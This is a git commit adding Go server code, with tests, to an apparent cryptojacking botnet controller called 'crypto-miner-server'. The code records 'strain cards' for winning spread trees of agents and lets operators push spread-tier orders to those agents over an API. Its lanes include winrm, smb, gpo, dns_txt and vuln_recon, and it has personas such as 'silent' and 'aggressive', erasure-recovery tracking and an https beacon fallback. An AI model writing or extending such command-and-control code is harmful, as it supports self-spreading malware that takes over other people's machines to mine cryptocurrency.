Add lineage strain card generation and play API implementation.

Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
This commit is contained in:
AetherForge
2026-06-07 09:20:44 -07:00
parent 0935756e5f
commit 23d107b144
6 changed files with 1164 additions and 0 deletions

View File

@@ -0,0 +1,309 @@
package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
type playStrainCardRequest struct {
AgentID string `json:"agent_id"`
CardID string `json:"card_id"`
}
// GetStrainCards lists lineage strain cards (optionally filtered by agent_id).
func (f *FleetHandler) GetStrainCards(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []strategy.StrainCard{})
return
}
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
if agentID != "" {
stored, err := f.db.ListStrainCardsForAgent(agentID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, decodeStrainCards(stored))
return
}
stored, err := f.db.ListStrainCards(100)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, decodeStrainCards(stored))
}
// PostPlayStrainCard applies a winning strain card preset to a target agent.
func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request) {
if f.db == nil || f.ws == nil {
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
return
}
var req playStrainCardRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
cardID := strings.TrimSpace(req.CardID)
if agentID == "" || cardID == "" {
http.Error(w, "agent_id and card_id are required", http.StatusBadRequest)
return
}
if _, err := f.db.GetAgent(agentID); err != nil {
http.Error(w, "agent not found", http.StatusNotFound)
return
}
stored, err := f.db.GetStrainCard(cardID)
if err != nil {
http.Error(w, "strain card not found", http.StatusNotFound)
return
}
var card strategy.StrainCard
if err := json.Unmarshal([]byte(stored.CardJSON), &card); err != nil {
http.Error(w, "invalid strain card data", http.StatusInternalServerError)
return
}
if card.ID == "" {
card.ID = stored.ID
}
result, err := f.ws.PlayStrainCard(agentID, card)
if err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
"agent_id": agentID,
"card_id": cardID,
})
return
}
log.Printf("[lineage] played strain card %q on agent %q (persona=%s play_id=%s sent=%v)",
cardID, agentID, card.Persona, result.PlayID, result.Sent)
_ = f.db.InsertAudit(AuthUsername(r), "play_strain_card", agentID, map[string]interface{}{
"card_id": cardID,
"play_id": result.PlayID,
"persona": card.Persona,
"strain": card.SpreadStrain,
"root": card.RootAgentID,
"source": card.SourceAgentName,
"sent": result.Sent,
"queued": result.Queued,
"transport": result.Transport,
})
writeJSON(w, map[string]interface{}{
"success": true,
"agent_id": agentID,
"card_id": cardID,
"play_id": result.PlayID,
"persona": card.Persona,
"strain": card.SpreadStrain,
"sent": result.Sent,
"queued": result.Queued,
})
}
func decodeStrainCards(stored []db.StoredStrainCard) []strategy.StrainCard {
out := make([]strategy.StrainCard, 0, len(stored))
for _, s := range stored {
var card strategy.StrainCard
if err := json.Unmarshal([]byte(s.CardJSON), &card); err != nil {
card = strategy.StrainCard{
ID: s.ID,
RootAgentID: s.RootAgentID,
SourceAgentID: s.SourceAgentID,
SourceAgentName: s.SourceAgentName,
SpreadStrain: s.SpreadStrain,
SpreadLane: s.SpreadLane,
Persona: s.Persona,
PeakHashrate: s.PeakHashrate,
ErasureRecoveryRate: s.ErasureRecoveryRate,
TreeSize: s.TreeSize,
CreatedAt: s.CreatedAt,
UpdatedAt: s.UpdatedAt,
}
}
if card.ID == "" {
card.ID = s.ID
}
out = append(out, card)
}
return out
}
func spreadTreeAgentsFromModels(agents []*models.Agent, joinLanes map[string]string, hashrates map[string]float64) []strategy.SpreadTreeAgent {
out := make([]strategy.SpreadTreeAgent, 0, len(agents))
for _, a := range agents {
if a == nil {
continue
}
lane := joinLanes[a.ID]
hr := hashrates[a.ID]
out = append(out, strategy.SpreadTreeAgent{
ID: a.ID,
Name: a.Name,
IP: a.IP,
ParentAgentID: a.ParentAgentID,
SpreadGeneration: a.SpreadGeneration,
SpreadStrain: a.SpreadStrain,
JoinLane: lane,
Hashrate: hr,
})
}
return out
}
func (h *WSHub) publishStrainCardForWinner(
agentID, agentName, joinLane string,
tierOrder []string,
peakHashrate float64,
attempts []strategy.TierAttempt,
) {
if h.db == nil {
return
}
allAgents, err := h.db.ListAgents()
if err != nil {
log.Printf("[lineage] list agents: %v", err)
return
}
joinLanes := h.agentJoinLanesSnapshot()
hashrates := h.agentHashratesSnapshot()
treeAgents := spreadTreeAgentsFromModels(allAgents, joinLanes, hashrates)
var parentLanes []string
if h.breedingRegistry != nil {
ag, _ := h.db.GetAgent(agentID)
if ag != nil {
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
parentLanes = append([]string(nil), bred.ParentLanes...)
}
}
}
card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
SourceAgentID: agentID,
SourceAgentName: agentName,
SpreadLane: joinLane,
TierOrder: tierOrder,
PeakHashrate: peakHashrate,
Attempts: attempts,
TreeAgents: treeAgents,
ParentLanes: parentLanes,
})
cardJSON, err := json.Marshal(card)
if err != nil {
log.Printf("[lineage] marshal card: %v", err)
return
}
id, err := h.db.UpsertStrainCard(card.RootAgentID, agentID, cardJSON, db.StoredStrainCard{
SourceAgentName: card.SourceAgentName,
SpreadStrain: card.SpreadStrain,
SpreadLane: card.SpreadLane,
Persona: card.Persona,
PeakHashrate: card.PeakHashrate,
ErasureRecoveryRate: card.ErasureRecoveryRate,
TreeSize: card.TreeSize,
})
if err != nil {
log.Printf("[lineage] upsert strain card: %v", err)
return
}
card.ID = id
log.Printf("[lineage] strain card %q for tree root=%s source=%s wins=%d losses=%d subnets=%d erasure=%.2f",
id, card.RootAgentID, agentName, len(card.Wins), len(card.Losses), len(card.Subnets), card.ErasureRecoveryRate)
h.broadcastDashboard(Message{
Type: "strain_card",
Payload: mustMarshal(map[string]interface{}{
"card": card,
}),
})
}
func (h *WSHub) agentJoinLanesSnapshot() map[string]string {
h.mu.RLock()
defer h.mu.RUnlock()
out := make(map[string]string, len(h.agentLiveTelemetry))
for id, telem := range h.agentLiveTelemetry {
if lane, ok := telem["join_lane"].(string); ok && lane != "" {
out[id] = lane
}
}
return out
}
func (h *WSHub) agentHashratesSnapshot() map[string]float64 {
h.mu.RLock()
defer h.mu.RUnlock()
out := make(map[string]float64, len(h.agentLiveTelemetry))
for id, telem := range h.agentLiveTelemetry {
if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
out[id] = hr
}
}
return out
}
// StrainCardPlayResult is the outcome of playing a card on an agent.
type StrainCardPlayResult struct {
PlayID string
Sent bool
Queued bool
Transport string
}
// PlayStrainCard pushes spread temperament from a lineage card to an agent.
func (h *WSHub) PlayStrainCard(agentID string, card strategy.StrainCard) (StrainCardPlayResult, error) {
agentID = strings.TrimSpace(agentID)
if agentID == "" {
return StrainCardPlayResult{}, errAgentRequired
}
temp := strategy.TemperamentFromCard(card)
policy := FleetAgentPolicy{SpreadTemperament: &temp}
pushID := "strain-" + card.ID
sent, failed := h.PushPolicyUpdate([]string{agentID}, policy, pushID)
if sent == 0 && failed > 0 {
return StrainCardPlayResult{}, errAgentNotConnected
}
result := StrainCardPlayResult{
PlayID: pushID,
Sent: sent > 0,
}
if !h.isAgentConnected(agentID) && sent > 0 {
result.Queued = true
result.Transport = "https_beacon"
}
h.broadcastDashboard(Message{
Type: "strain_card_played",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"card_id": card.ID,
"play_id": pushID,
"persona": card.Persona,
"strain": card.SpreadStrain,
}),
})
return result, nil
}
var (
errAgentRequired = &strainCardError{"agent id is required"}
errAgentNotConnected = &strainCardError{"agent not connected"}
)
type strainCardError struct{ msg string }
func (e *strainCardError) Error() string { return e.msg }

View File

@@ -0,0 +1,146 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
func TestPublishStrainCardOnWinningPhenotype(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
_ = fh
root := &models.Agent{ID: "root-agent", Name: "Root", IP: "10.0.1.5", Status: "online", LastSeen: time.Now().UTC()}
child := &models.Agent{ID: "child-agent", Name: "Child", IP: "10.0.2.8", Status: "online", ParentAgentID: "root-agent", SpreadGeneration: 1, LastSeen: time.Now().UTC()}
for _, a := range []*models.Agent{root, child} {
if err := database.UpsertAgent(a); err != nil {
t.Fatal(err)
}
}
hub.mu.Lock()
hub.agentLiveTelemetry["child-agent"] = map[string]interface{}{
"join_lane": "dns_txt",
"mining_hashrate": 750.0,
}
hub.mu.Unlock()
fp := "windows|0|0|0|0|0|10.0.2.x"
hub.tryPublishWinningPhenotype(
"child-agent", "windows", "10.0.2.8", nil,
[]struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}{
{Tier: "docker", OK: false},
{Tier: "container", OK: true},
},
750, "container", "dns_txt",
[]string{"container", "wsl", "cpu_inprocess"},
)
_ = fp
cards, err := database.ListStrainCardsForAgent("child-agent")
if err != nil {
t.Fatal(err)
}
if len(cards) != 1 {
t.Fatalf("expected 1 strain card, got %d", len(cards))
}
var card strategy.StrainCard
if err := json.Unmarshal([]byte(cards[0].CardJSON), &card); err != nil {
t.Fatal(err)
}
if card.RootAgentID != "root-agent" || card.SourceAgentID != "child-agent" {
t.Fatalf("card tree: %+v", card)
}
if len(card.Wins) == 0 || card.Persona != "persuasive" {
t.Fatalf("card wins/persona: wins=%v persona=%q", card.Wins, card.Persona)
}
}
func TestPostPlayStrainCard(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
agent := &models.Agent{ID: "target-agent", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
if err := database.UpsertAgent(agent); err != nil {
t.Fatal(err)
}
conn := connectTestAgent(t, hub, "target-agent")
defer conn.Close()
card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
SourceAgentID: "src",
SourceAgentName: "Src",
SpreadLane: "winrm",
TierOrder: []string{"container", "wsl"},
PeakHashrate: 500,
})
raw, _ := json.Marshal(card)
cardID, err := database.UpsertStrainCard("root-x", "src", raw, dbStoredMetaFromCard(card))
if err != nil {
t.Fatal(err)
}
body, _ := json.Marshal(map[string]string{
"agent_id": "target-agent",
"card_id": cardID,
})
req := httptest.NewRequest(http.MethodPost, "/fleet/play-strain-card", bytes.NewReader(body))
rec := httptest.NewRecorder()
fleetChiRoute(http.MethodPost, "/fleet/play-strain-card", fh.PostPlayStrainCard).ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var resp map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if resp["success"] != true {
t.Fatalf("response: %+v", resp)
}
}
func TestGetStrainCardsByAgent(t *testing.T) {
fh, database, _, _ := newTestFleetHandler(t)
card := strategy.StrainCard{RootAgentID: "root-a", SourceAgentID: "agent-a", PeakHashrate: 100}
raw, _ := json.Marshal(card)
if _, err := database.UpsertStrainCard("root-a", "agent-a", raw, dbStoredMetaFromCard(card)); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/fleet/strain-cards?agent_id=agent-a", nil)
rec := httptest.NewRecorder()
fleetChiRoute(http.MethodGet, "/fleet/strain-cards", fh.GetStrainCards).ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d", rec.Code)
}
var cards []strategy.StrainCard
if err := json.Unmarshal(rec.Body.Bytes(), &cards); err != nil {
t.Fatal(err)
}
if len(cards) != 1 || cards[0].RootAgentID != "root-a" {
t.Fatalf("cards=%+v", cards)
}
}
func dbStoredMetaFromCard(card strategy.StrainCard) db.StoredStrainCard {
return db.StoredStrainCard{
SourceAgentName: card.SourceAgentName,
SpreadStrain: card.SpreadStrain,
SpreadLane: card.SpreadLane,
Persona: card.Persona,
PeakHashrate: card.PeakHashrate,
ErasureRecoveryRate: card.ErasureRecoveryRate,
TreeSize: card.TreeSize,
}
}

View File

@@ -0,0 +1,196 @@
package db
import (
"database/sql"
"encoding/json"
"errors"
"strings"
"time"
"github.com/google/uuid"
)
// StoredStrainCard is a persisted lineage card for a winning spread tree.
type StoredStrainCard struct {
ID string
RootAgentID string
SourceAgentID string
SourceAgentName string
SpreadStrain string
SpreadLane string
Persona string
CardJSON string
PeakHashrate float64
ErasureRecoveryRate float64
TreeSize int
CreatedAt time.Time
UpdatedAt time.Time
}
func (d *Database) UpsertStrainCard(rootAgentID, sourceAgentID string, cardJSON []byte, meta StoredStrainCard) (string, error) {
if d == nil {
return "", errors.New("database unavailable")
}
rootAgentID = strings.TrimSpace(rootAgentID)
sourceAgentID = strings.TrimSpace(sourceAgentID)
if rootAgentID == "" || sourceAgentID == "" || len(cardJSON) == 0 {
return "", errors.New("strain card requires root, source, and JSON")
}
existing, err := d.GetStrainCardByRoot(rootAgentID)
if err != nil && !errors.Is(err, sql.ErrNoRows) {
return "", err
}
id := uuid.NewString()
now := time.Now().UTC()
if existing != nil {
id = existing.ID
if meta.PeakHashrate <= existing.PeakHashrate && existing.PeakHashrate > 0 {
return id, nil
}
}
if meta.ID != "" {
id = meta.ID
}
_, err = d.Exec(
`INSERT INTO strain_cards (
id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(root_agent_id) DO UPDATE SET
source_agent_id = excluded.source_agent_id,
source_agent_name = excluded.source_agent_name,
spread_strain = excluded.spread_strain,
spread_lane = excluded.spread_lane,
persona = excluded.persona,
card_json = excluded.card_json,
peak_hashrate = excluded.peak_hashrate,
erasure_recovery_rate = excluded.erasure_recovery_rate,
tree_size = excluded.tree_size,
updated_at = excluded.updated_at
WHERE excluded.peak_hashrate >= strain_cards.peak_hashrate`,
id, rootAgentID, sourceAgentID, meta.SourceAgentName, meta.SpreadStrain, meta.SpreadLane,
meta.Persona, string(cardJSON), meta.PeakHashrate, meta.ErasureRecoveryRate, meta.TreeSize,
now.Format(time.RFC3339), now.Format(time.RFC3339),
)
return id, err
}
func (d *Database) GetStrainCard(id string) (*StoredStrainCard, error) {
id = strings.TrimSpace(id)
if id == "" {
return nil, sql.ErrNoRows
}
row := d.QueryRow(
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
FROM strain_cards WHERE id = ?`, id,
)
return scanStrainCard(row)
}
func (d *Database) GetStrainCardByRoot(rootAgentID string) (*StoredStrainCard, error) {
rootAgentID = strings.TrimSpace(rootAgentID)
if rootAgentID == "" {
return nil, sql.ErrNoRows
}
row := d.QueryRow(
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
FROM strain_cards WHERE root_agent_id = ?`, rootAgentID,
)
return scanStrainCard(row)
}
func (d *Database) ListStrainCardsForAgent(agentID string) ([]StoredStrainCard, error) {
agentID = strings.TrimSpace(agentID)
if agentID == "" {
return nil, nil
}
rows, err := d.Query(
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
FROM strain_cards
WHERE root_agent_id = ? OR source_agent_id = ?
ORDER BY peak_hashrate DESC, updated_at DESC`,
agentID, agentID,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []StoredStrainCard
for rows.Next() {
c, err := scanStrainCardRow(rows)
if err != nil {
return nil, err
}
out = append(out, *c)
}
return out, rows.Err()
}
func (d *Database) ListStrainCards(limit int) ([]StoredStrainCard, error) {
if limit <= 0 {
limit = 50
}
rows, err := d.Query(
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
FROM strain_cards ORDER BY updated_at DESC LIMIT ?`, limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []StoredStrainCard
for rows.Next() {
c, err := scanStrainCardRow(rows)
if err != nil {
return nil, err
}
out = append(out, *c)
}
return out, rows.Err()
}
type strainCardScanner interface {
Scan(dest ...interface{}) error
}
func scanStrainCard(row *sql.Row) (*StoredStrainCard, error) {
return scanStrainCardRow(row)
}
func scanStrainCardRow(row strainCardScanner) (*StoredStrainCard, error) {
var c StoredStrainCard
var createdAt, updatedAt string
if err := row.Scan(
&c.ID, &c.RootAgentID, &c.SourceAgentID, &c.SourceAgentName, &c.SpreadStrain, &c.SpreadLane,
&c.Persona, &c.CardJSON, &c.PeakHashrate, &c.ErasureRecoveryRate, &c.TreeSize, &createdAt, &updatedAt,
); err != nil {
return nil, err
}
c.CreatedAt = parseSQLiteTime(createdAt)
c.UpdatedAt = parseSQLiteTime(updatedAt)
return &c, nil
}
func parseSQLiteTime(raw string) time.Time {
if t, err := time.Parse(time.RFC3339, raw); err == nil {
return t
}
if t, err := time.Parse("2006-01-02 15:04:05", raw); err == nil {
return t.UTC()
}
return time.Time{}
}
// DecodeStrainCardJSON unmarshals the stored card JSON blob.
func DecodeStrainCardJSON(raw string) (map[string]interface{}, error) {
out := map[string]interface{}{}
if strings.TrimSpace(raw) == "" {
return out, nil
}
err := json.Unmarshal([]byte(raw), &out)
return out, err
}

View File

@@ -0,0 +1,81 @@
package db
import (
"encoding/json"
"testing"
)
func TestUpsertStrainCardRoundTrip(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = d.Close() })
cardJSON := []byte(`{
"root_agent_id":"root-1",
"source_agent_id":"leaf-1",
"source_agent_name":"Leaf",
"spread_lane":"dns_txt",
"persona":"persuasive",
"wins":["container"],
"losses":["docker"],
"subnets":["10.0.0.x","10.0.2.x"],
"erasure_recovery_rate":1,
"peak_hashrate":900,
"tree_size":2
}`)
id, err := d.UpsertStrainCard("root-1", "leaf-1", cardJSON, StoredStrainCard{
SourceAgentName: "Leaf",
SpreadLane: "dns_txt",
Persona: "persuasive",
PeakHashrate: 900,
ErasureRecoveryRate: 1,
TreeSize: 2,
})
if err != nil {
t.Fatal(err)
}
got, err := d.GetStrainCard(id)
if err != nil {
t.Fatal(err)
}
if got.RootAgentID != "root-1" || got.PeakHashrate != 900 {
t.Fatalf("stored card: %+v", got)
}
list, err := d.ListStrainCardsForAgent("leaf-1")
if err != nil || len(list) != 1 {
t.Fatalf("list for agent: %v err=%v", list, err)
}
}
func TestUpsertStrainCardSkipsLowerHashrate(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = d.Close() })
card := map[string]interface{}{"root_agent_id": "root", "source_agent_id": "a1", "peak_hashrate": 500}
raw, _ := json.Marshal(card)
id1, err := d.UpsertStrainCard("root", "a1", raw, StoredStrainCard{PeakHashrate: 500})
if err != nil {
t.Fatal(err)
}
card["peak_hashrate"] = 100
raw2, _ := json.Marshal(card)
id2, err := d.UpsertStrainCard("root", "a1", raw2, StoredStrainCard{PeakHashrate: 100})
if err != nil {
t.Fatal(err)
}
if id1 != id2 {
t.Fatalf("ids differ: %s vs %s", id1, id2)
}
got, err := d.GetStrainCardByRoot("root")
if err != nil {
t.Fatal(err)
}
if got.PeakHashrate != 500 {
t.Fatalf("peak hashrate regressed to %v", got.PeakHashrate)
}
}

View File

@@ -0,0 +1,339 @@
package strategy
import (
"crypto/sha256"
"fmt"
"sort"
"strings"
"time"
)
// StrainParent is one node in a winning spread tree lineage.
type StrainParent struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
SpreadLane string `json:"spread_lane,omitempty"`
Generation int `json:"generation,omitempty"`
}
// StrainCard is light gamification metadata for a winning spread tree.
type StrainCard struct {
ID string `json:"id"`
RootAgentID string `json:"root_agent_id"`
SourceAgentID string `json:"source_agent_id"`
SourceAgentName string `json:"source_agent_name"`
SpreadStrain string `json:"spread_strain"`
SpreadLane string `json:"spread_lane"`
Persona string `json:"persona"`
Parents []StrainParent `json:"parents"`
Wins []string `json:"wins"`
Losses []string `json:"losses"`
Subnets []string `json:"subnets"`
ErasureRecoveryRate float64 `json:"erasure_recovery_rate"`
PeakHashrate float64 `json:"peak_hashrate"`
TierOrder []string `json:"tier_order"`
TreeSize int `json:"tree_size"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}
// SpreadTreeAgent is minimal agent telemetry for card synthesis.
type SpreadTreeAgent struct {
ID string
Name string
IP string
ParentAgentID string
SpreadGeneration int
SpreadStrain string
JoinLane string
Hashrate float64
}
// SpreadStrainFromJoinLane returns a stable #RRGGBB hex for UI strain grouping.
func SpreadStrainFromJoinLane(lane string) string {
lane = strings.TrimSpace(strings.ToLower(lane))
if lane == "" {
return ""
}
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
}
var erasureJoinLanes = map[string]bool{
"dns_txt": true,
"wsus_cache_peer": true,
"do_peer": true,
}
// PersonaFromSpreadLane maps a winning join/spread lane to a Calibrate persona preset.
func PersonaFromSpreadLane(lane string) string {
lane = strings.TrimSpace(strings.ToLower(lane))
switch lane {
case "winrm", "smb", "gpo":
return "aggressive"
case "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh":
return "persuasive"
case "docker", "wsl", "container":
return "silent"
case "powershell", "dotnet", "bits_curl":
return "balanced"
default:
return "balanced"
}
}
// BuildStrainCardInput is the publish payload for auto-generating a lineage card.
type BuildStrainCardInput struct {
SourceAgentID string
SourceAgentName string
SpreadLane string
TierOrder []string
PeakHashrate float64
Attempts []TierAttempt
TreeAgents []SpreadTreeAgent
ParentLanes []string
}
// CollectSpreadTree returns the root agent id and all agents in the spread tree.
func CollectSpreadTree(agents []SpreadTreeAgent, sourceAgentID string) (rootID string, tree []SpreadTreeAgent) {
sourceAgentID = strings.TrimSpace(sourceAgentID)
if sourceAgentID == "" || len(agents) == 0 {
return "", nil
}
byID := make(map[string]SpreadTreeAgent, len(agents))
children := make(map[string][]SpreadTreeAgent)
for _, a := range agents {
byID[a.ID] = a
if p := strings.TrimSpace(a.ParentAgentID); p != "" {
children[p] = append(children[p], a)
}
}
rootID = sourceAgentID
for {
a, ok := byID[rootID]
if !ok {
break
}
p := strings.TrimSpace(a.ParentAgentID)
if p == "" {
break
}
rootID = p
}
seen := make(map[string]bool)
queue := []string{rootID}
for len(queue) > 0 {
id := queue[0]
queue = queue[1:]
if seen[id] {
continue
}
seen[id] = true
if a, ok := byID[id]; ok {
tree = append(tree, a)
for _, child := range children[id] {
queue = append(queue, child.ID)
}
}
}
sort.Slice(tree, func(i, j int) bool {
if tree[i].SpreadGeneration == tree[j].SpreadGeneration {
return tree[i].ID < tree[j].ID
}
return tree[i].SpreadGeneration < tree[j].SpreadGeneration
})
return rootID, tree
}
// BuildStrainCard synthesizes card JSON from a winning spread tree.
func BuildStrainCard(in BuildStrainCardInput) StrainCard {
now := time.Now().UTC()
lane := strings.TrimSpace(in.SpreadLane)
rootID, tree := CollectSpreadTree(in.TreeAgents, in.SourceAgentID)
if rootID == "" {
rootID = strings.TrimSpace(in.SourceAgentID)
}
if len(tree) == 0 && strings.TrimSpace(in.SourceAgentID) != "" {
tree = []SpreadTreeAgent{{ID: in.SourceAgentID, Name: in.SourceAgentName}}
}
wins, losses := tierWinLossLists(in.Attempts)
parents := buildStrainParents(tree, in.ParentLanes)
subnets := collectTreeSubnets(tree)
erasureRate := computeErasureRecoveryRate(tree)
strain := SpreadStrainFromJoinLane(lane)
for i := len(tree) - 1; i >= 0; i-- {
if s := strings.TrimSpace(tree[i].SpreadStrain); s != "" {
strain = s
break
}
}
card := StrainCard{
RootAgentID: rootID,
SourceAgentID: strings.TrimSpace(in.SourceAgentID),
SourceAgentName: strings.TrimSpace(in.SourceAgentName),
SpreadStrain: strain,
SpreadLane: lane,
Persona: PersonaFromSpreadLane(lane),
Parents: parents,
Wins: wins,
Losses: losses,
Subnets: subnets,
ErasureRecoveryRate: erasureRate,
PeakHashrate: in.PeakHashrate,
TierOrder: append([]string(nil), in.TierOrder...),
TreeSize: len(tree),
CreatedAt: now,
UpdatedAt: now,
}
if card.TierOrder == nil {
card.TierOrder = []string{}
}
if card.Wins == nil {
card.Wins = []string{}
}
if card.Losses == nil {
card.Losses = []string{}
}
if card.Subnets == nil {
card.Subnets = []string{}
}
if card.Parents == nil {
card.Parents = []StrainParent{}
}
return card
}
func buildStrainParents(tree []SpreadTreeAgent, parentLanes []string) []StrainParent {
out := make([]StrainParent, 0, len(tree))
for i, a := range tree {
if i == 0 && strings.TrimSpace(a.ParentAgentID) == "" {
continue
}
lane := strings.TrimSpace(a.JoinLane)
spreadLane := lane
if i > 0 && i-1 < len(parentLanes) {
spreadLane = strings.TrimSpace(parentLanes[i-1])
}
out = append(out, StrainParent{
AgentID: a.ID,
AgentName: a.Name,
JoinLane: lane,
SpreadLane: spreadLane,
Generation: a.SpreadGeneration,
})
}
return out
}
func tierWinLossLists(attempts []TierAttempt) (wins, losses []string) {
seenWin := make(map[string]bool)
seenLoss := make(map[string]bool)
for _, a := range attempts {
tier := strings.TrimSpace(a.Tier)
if tier == "" {
continue
}
if a.OK {
if !seenWin[tier] {
wins = append(wins, tier)
seenWin[tier] = true
}
continue
}
if !seenLoss[tier] {
losses = append(losses, tier)
seenLoss[tier] = true
}
}
return wins, losses
}
func collectTreeSubnets(tree []SpreadTreeAgent) []string {
seen := make(map[string]bool)
out := make([]string, 0, len(tree))
for _, a := range tree {
subnet := subnetFromIP(a.IP)
if subnet == "" || seen[subnet] {
continue
}
seen[subnet] = true
out = append(out, subnet)
}
sort.Strings(out)
return out
}
func computeErasureRecoveryRate(tree []SpreadTreeAgent) float64 {
if len(tree) == 0 {
return 0
}
var attempts, recoveries int
for _, a := range tree {
lane := strings.TrimSpace(strings.ToLower(a.JoinLane))
if lane == "" || !erasureJoinLanes[lane] {
continue
}
attempts++
if a.Hashrate > 0 {
recoveries++
}
}
if attempts == 0 {
return 0
}
return float64(recoveries) / float64(attempts)
}
// TemperamentFromCard builds spread_temperament policy from a strain card.
func TemperamentFromCard(card StrainCard) AdaptiveStrategy {
order := card.TierOrder
if len(order) == 0 {
order = PersonaSpreadTierOrder(card.Persona)
}
reason := StrategyReason{
Fact: "lineage_strain_card=" + card.ID,
Inference: "Operator played winning spread tree strain on agent",
Action: "Apply tier order: " + strings.Join(order, " → "),
}
return AdaptiveStrategy{
TierOrder: append([]string(nil), order...),
Reasoning: []StrategyReason{reason},
Confidence: 0.9,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
}
}
// PersonaSpreadTierOrder returns spread tier order for a persona id (mirrors fleet AI).
func PersonaSpreadTierOrder(persona string) []string {
switch strings.ToLower(strings.TrimSpace(persona)) {
case "aggressive":
return []string{
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
}
case "silent":
return []string{
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
case "passive":
return []string{
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
case "persuasive":
return []string{
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
}
default:
return []string{
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
}
}

View File

@@ -0,0 +1,93 @@
package strategy
import "testing"
func TestSpreadStrainFromJoinLaneStable(t *testing.T) {
a := SpreadStrainFromJoinLane("winrm")
b := SpreadStrainFromJoinLane("winrm")
if a != b || a == "" {
t.Fatalf("strain not stable: %q vs %q", a, b)
}
if SpreadStrainFromJoinLane("dns_txt") == a {
t.Fatal("different lanes should differ")
}
}
func TestCollectSpreadTreeRootAndDescendants(t *testing.T) {
agents := []SpreadTreeAgent{
{ID: "root", Name: "Root", SpreadGeneration: 0},
{ID: "mid", Name: "Mid", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "winrm"},
{ID: "leaf", Name: "Leaf", ParentAgentID: "mid", SpreadGeneration: 2, JoinLane: "dns_txt", Hashrate: 500},
{ID: "other", Name: "Other", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "smb"},
}
root, tree := CollectSpreadTree(agents, "leaf")
if root != "root" {
t.Fatalf("root = %q want root", root)
}
if len(tree) != 4 {
t.Fatalf("tree size = %d want 4", len(tree))
}
}
